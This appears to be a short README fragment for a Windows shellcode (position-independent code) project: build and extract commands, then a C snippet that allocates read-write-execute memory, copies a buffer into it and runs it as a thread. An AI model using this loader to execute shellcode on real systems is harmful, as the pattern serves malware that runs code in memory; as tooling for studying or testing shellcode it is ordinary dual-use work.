cmake --build <output_dir> --target Windows_PIC -j 14
python scripts/extract.py -f <Windows_PIC.exe> -o output.bin
LPVOID addressPointer = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (addressPointer) {
RtlMoveMemory(addressPointer, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
}
}